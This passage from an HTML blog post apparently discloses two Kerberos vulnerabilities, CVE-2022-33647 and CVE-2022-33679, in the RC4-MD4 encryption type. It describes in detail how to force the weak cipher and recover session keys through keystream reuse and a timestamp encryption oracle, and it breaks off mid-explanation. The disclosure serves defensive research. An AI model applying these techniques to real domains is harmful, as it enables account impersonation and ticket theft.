Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Encryption types with positive values are well-known encryption types defined in the RFCs, whereas negative values are private types. Therefore I decided to spend my time on these private types. Most of the private types were just subtle variations on the existing well-known types, or clones with legacy numbers. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">However, one stood out as being different from the rest, "RSADSI RC4-MD4" with type value -128. This was different because the implementation was incredibly insecure, specifically it had the following properties:</span></p><br /><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Keys are 16 bytes in size, but only the first 8 of the key bytes are used by the encryption algorithm.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The key is used as-is, there's no blinding so the key stream is always the same for the same user key.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The message type is ignored, which means that the key stream is the same for different parts of the Kerberos protocol when using the same key.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The encrypted data does not contain any cryptographic hash to protect from tampering with the ciphertext which for RC4 is basically catastrophic. Even though the name contains MD4 this is only used for deriving the key from the password, not for any message integrity.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Generated session keys are 16 bytes in size but only contain 40 bits (5 bytes) of randomness. The remaining 11 bytes are populated with the fixed value of 0xAB.</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To say this is bad from a cryptographic standpoint, is an understatement. Fortunately it would be safe to assume that while this crypto system is implemented in CRYPTDLL, it wouldn't be used by Kerberos? Unfortunately not — it is totally accepted as a valid encryption type when sent in the AS-REQ to the KDC. The question then becomes how to exploit this behavior?</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Exploitation on the Wire (CVE-2022-33647)</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">My first thoughts were to attack the session key generation. If we could get the server to return the AS-REP with a RC4-MD4 session key for the TGT then any subsequent usage of that key could be captured and used to brute force the 40 bit key. At that point we could take the user's TGT which is sent in the clear and the session key and make requests as that authenticated user.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The most obvious approach to forcing the preferred encryption type to be RC4-MD4 would be to interpose the connection between a client and the KDC. The </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">etype</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> field of the AS-REQ is not protected for password based authentication. Therefore a proxy can modify the field to only include RC4-MD4 which is then sent to the KDC. Once that's completed the proxy would need to also capture a service ticket request to get encrypted data to brute force.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Brute forcing the 40 bit key would be technically feasible at least if you built a giant lookup table, however I felt like it's not practical. I realized there's a simpler way, when a client authenticates it typically sends a request to the KDC with no pre-authentication timestamp present. As long as pre-authentication hasn't been disabled the KDC returns a Kerberos error to the client with the </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KDC_ERR_PREAUTH_REQUIRED</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> error code. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As part of that error response the KDC also sends a list of acceptable encryption types in the </span><a href="https://datatracker.ietf.org/doc/html/rfc4120#section-5.2.7.5" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">PA-ETYPE-INFO2</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> pre-authentication data structure. This list contains additional information for the password to key derivation such as the salt for AES keys. The client can use this information to correctly generate the encryption key for the user. I noticed that if you sent back only a single entry indicating support for RC4-MD4 then the client would use the insecure algorithm for generating the pre-authentication timestamp. This worked even if the client didn't request RC4-MD4 in the first place.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">When the KDC received the timestamp it would validate it using the RC4-MD4 algorithm and return the AS-REP with the TGT's RC4-MD4 session key encrypted using the same key as the timestamp. Due to the already mentioned weaknesses in the RC4-MD4 algorithm the key stream used for the timestamp must be the same as used in the response to encrypt the session key. Therefore we could mount a known-plaintext attack to recover the keystream from the timestamp and use that to decrypt parts of the response.</span></p><div><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></span></p>
<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUvTW1UFAq2BkR82D8pZBtol-7uMDtXUhYYWtsdj59L02yosepSSb2zaddG7GkNt9t8YvR7pQogCoZDMv9shMSF_iq0V4pIuDCt-o042w285bolE5_s3gGXZKI-XreYKDGzT48ShCCbyijZU0dDvrpFTVl-Kk4KYX6gYokC4vjlq6GpZt9_rfBRgje/s1465/image3.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUvTW1UFAq2BkR82D8pZBtol-7uMDtXUhYYWtsdj59L02yosepSSb2zaddG7GkNt9t8YvR7pQogCoZDMv9shMSF_iq0V4pIuDCt-o042w285bolE5_s3gGXZKI-XreYKDGzT48ShCCbyijZU0dDvrpFTVl-Kk4KYX6gYokC4vjlq6GpZt9_rfBRgje/s600/image3.png' alt="Diagram showing the attack process. A computer with a kerberos client sends an AS-REQ to the attacker, which returns an error requesting pre-authentication and selecting RC4-MD4 encryption. The client then converts the user's password into an RC4-MD4 key which is used to encrypt the timestamp to send to the KDC. This is used to validate the user authentication and an AS-REP is returned with a TGT session key generated for RC4-MD4." title="Diagram showing the attack process. A computer with a kerberos client sends an AS-REQ to the attacker, which returns an error requesting pre-authentication and selecting RC4-MD4 encryption. The client then converts the user's password into an RC4-MD4 key which is used to encrypt the timestamp to send to the KDC. This is used to validate the user authentication and an AS-REP is returned with a TGT session key generated for RC4-MD4." border='0' style='max-height: 750px; max-width: 600px;' /></a>
<span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline;">The timestamp itself has the following ASN.1 structure, which is serialized using the </span><a href="https://en.wikipedia.org/wiki/X.690#DER_encoding" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline;">Distinguished Encoding Rules (DER)</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline;"> and then encrypted.</span></span><p></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">PA-ENC-TS-ENC ::= SEQUENCE {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> patimestamp [0] KerberosTime -- client's time --,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> pausec [1] Microseconds OPTIONAL</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The AS-REP encrypted response has the following ASN.1 structure:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">EncASRepPart ::= SEQUENCE {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> key [0] EncryptionKey,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> last-req [1] LastReq,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> nonce [2] UInt32,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> key-expiration [3] KerberosTime OPTIONAL,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> flags [4] TicketFlags,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> authtime [5] KerberosTime,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> starttime [6] KerberosTime OPTIONAL,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> endtime [7] KerberosTime,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> renew-till [8] KerberosTime OPTIONAL,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> srealm [9] Realm,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> sname [10] PrincipalName,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> caddr [11] HostAddresses OPTIONAL</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We can see from the two structures that as luck would have it the session key in the AS-REP is at the start of the encrypted data. This means there should be an overlap between the known parts of the timestamp and the key, allowing us to apply key stream recovery to decrypt the session key without any brute force needed.</span></p><br />
<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24DDfsRh9c8OtrHaHSYfjKbUOPqVKpbrgf1ifZslYw1JDXAv8Q3hXmZRzz3MSsByAMoAg7Tpj5OIw3VzE5e9mrqIQ_fs-pLE61jHNF47qF1dBr-zFg7OV5hOSuDLJy7b9vYJm6hw5tDmK2-Oznd1hzj1a8NlBNBnGfxdX2lQfkrxQtGkhFy_nz9xR/s1187/image1.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24DDfsRh9c8OtrHaHSYfjKbUOPqVKpbrgf1ifZslYw1JDXAv8Q3hXmZRzz3MSsByAMoAg7Tpj5OIw3VzE5e9mrqIQ_fs-pLE61jHNF47qF1dBr-zFg7OV5hOSuDLJy7b9vYJm6hw5tDmK2-Oznd1hzj1a8NlBNBnGfxdX2lQfkrxQtGkhFy_nz9xR/s600/image1.png' alt="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between known bytes in the timestamp with the 40 bit session key in the AS-REP." title="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between known bytes in the timestamp with the 40 bit session key in the AS-REP." border='0' style='max-height: 750px; max-width: 600px;' /></a>
<br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; white-space: pre-wrap;">The diagram shows the ASN.1 DER structures for the timestamp and the start of the AS-REP. The values with specific hex digits in green are plain-text we know or can calculate as they are part of the ASN.1 structure such as types and lengths. We can see that there's a clear overlap between 4 bytes of known data in the timestamp with the first 4 bytes of the session key. We only need the first 5 bytes of the key due to the padding at the end, but this does mean we need to brute force the final key byte. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We can do this brute force one of two ways. First we can send service ticket requests with the user's TGT and a guess for the session key to the KDC until one succeeds. This would require at most 256 requests to the KDC. Alternatively we can capture a service ticket request from the client which is likely to happen immediately after the authentication. As the service ticket request will be encrypted using the session key we can perform the brute force attack locally without needing to talk to the KDC which will be faster. Regardless of the option chosen this approach would be orders of magnitude faster than brute forcing the entire 40 bit session key.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The simplest approach to performing this exploit would be to interpose the client to server connection and modify traffic. However, as the initial request without pre-authentication just returns an error message it's likely the exploit could be done by injecting a response back to the client while the KDC is processing the real request. This could be done with only the ability to monitor network traffic and inject arbitrary network traffic back into that network. However, I've not verified that approach.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Exploitation without Interception (CVE-2022-33679)</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The requirement to have access to the client to server authentication traffic does make this vulnerability seem less impactful. Although there's plenty of scenarios where an attacker could interpose, such as shared wifi networks, or physical attacks which could be used to compromise the computer account authentication which would take place when a domain joined system was booted.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It would be interesting if there was an attack vector to exploit this without needing a real Kerberos user at all. I realized that if a user has pre-authentication disabled then we have everything we need to perform the attack. The important point is that if pre-authentication is disabled we can request a TGT for the user, specifying RC4-MD4 encryption and the KDC will send back the AS-REP encrypted using that algorithm.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The key to the exploit is to reverse the previous attack, instead of using the timestamp to decrypt the AS-REP we'll use the AS-REP to encrypt a timestamp. We can then use the timestamp value when sent to the KDC as an encryption oracle to brute force enough bytes of the key stream to decrypt the TGT's session key. For example, if we remove the optional microseconds component of the timestamp we get the following DER encoded values:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><br /></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></span></p>
<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJwOslmDADrdMxHQePmjJB4AwNGPGaFkdemYZCTgtHzSOcKYXYq46I5ETenRLGSjx-aPpCGMj40oox50HylEiImPmompOLGzAs0mNSRbjQtEUWhlNl6xv3XWladvkt__nep8zR4GEcMTLUHzqpC5ECmGSjYlr7CINK8BP3lBrX8n5u1hTKwcrBzMEd/s1057/image2.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJwOslmDADrdMxHQePmjJB4AwNGPGaFkdemYZCTgtHzSOcKYXYq46I5ETenRLGSjx-aPpCGMj40oox50HylEiImPmompOLGzAs0mNSRbjQtEUWhlNl6xv3XWladvkt__nep8zR4GEcMTLUHzqpC5ECmGSjYlr7CINK8BP3lBrX8n5u1hTKwcrBzMEd/s600/image2.png' alt="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between known bytes in the AS-REP and the timestamp string which can be used to generate a valid encrypted timestamp." title="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between known bytes in the AS-REP and the timestamp string which can be used to generate a valid encrypted timestamp." border='0' style='max-height: 750px; max-width: 600px;' /></a>
<span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The diagram shows that currently there's no overlap between the timestamp, represented by the T bytes, and the 40 bit session key. However, we know or at least can calculate the entire DER encoded data for the AS-REP to cover the entire timestamp buffer. We can use this to calculate the keystream for the user's RC4-MD4 key without actually knowing the key itself. With the key stream we can encrypt a valid timestamp and send it to the KDC. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">If the KDC responds with a valid AS-REP then we know we've correctly calculated the key stream. How can we use this to start decrypting the session key? The </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KerberosTime</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value used for the timestamp is an ASCII string of the form </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">YYYYMMDDHHmmssZ</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. The KDC parses this string to a format suitable for processing by the server. The parser takes the time as a NUL terminated string, so we can add an additional NUL character to the end of the string and it shouldn't affect the parsing. Therefore we can change the timestamp to the following:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><br /></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></span></p>
<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHkQxlTmqYoIrJDtSjALIbuKT6vXVkaSM2QGjB8aErmNyny_lSLBJt4ZogLrR2naCcnSc15TiR-oq45Xj2-WDfmZpNzs1k0RYZH2VQKpLb6Whj8Z4nNkc5DIK_CdQvfT3ncuVdLnAdMSBhclQIYpIWB26fmbSWaVzdQXwYkbnnz6iPxYCGJ1sNY7rM/s1032/image4.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHkQxlTmqYoIrJDtSjALIbuKT6vXVkaSM2QGjB8aErmNyny_lSLBJt4ZogLrR2naCcnSc15TiR-oq45Xj2-WDfmZpNzs1k0RYZH2VQKpLb6Whj8Z4nNkc5DIK_CdQvfT3ncuVdLnAdMSBhclQIYpIWB26fmbSWaVzdQXwYkbnnz6iPxYCGJ1sNY7rM/s1032/image4.png' alt="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between a final NUL character at the end of the timestamp string which overlaps with the first byte of the 40 bit session key." border='0' style='max-height: 750px; max-width: 600px;' title="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows there is an overlap between a final NUL character at the end of the timestamp string which overlaps with the first byte of the 40 bit session key." /></a>
<span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /><br /></span><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We can now guess a value for the encrypted NUL character and send the new timestamp to the KDC. If the KDC returns an error we know that the parsing failed as it didn't decrypt to a NUL character. However, if the authentication succeeds the value we guessed is the next byte in the key stream and we can decrypt the first byte of the session key.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">At this point we've got a problem, we can't just add another NUL character as the parser would stop on the first one we sent. Even if the value didn't decrypt to a NUL it wouldn't be possible to detect. This is when a second trick comes into play, instead of extending the string we can abuse the way value lengths are encoded in DER. A length can be in one of two forms, a short form if the length is less than 128, or a long form for everything else. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For the short form the length is encoded in a single byte. For the long form, the first byte has the top bit set to 1, and the lower 7 bits encode the number of trailing bytes of the length value in big-endian format. For example in the above diagram the timestamp's total size is 0x14 bytes which is stored in the short form. We can instead encode the length in an arbitrary sized long form, for example </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x81 0x14</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x82 0x00 0x14</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x83 0x00 0x00 0x14</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> etc. The examples shown below move the NUL character to brute force the next two bytes of the session key:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><br /></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></span></p>
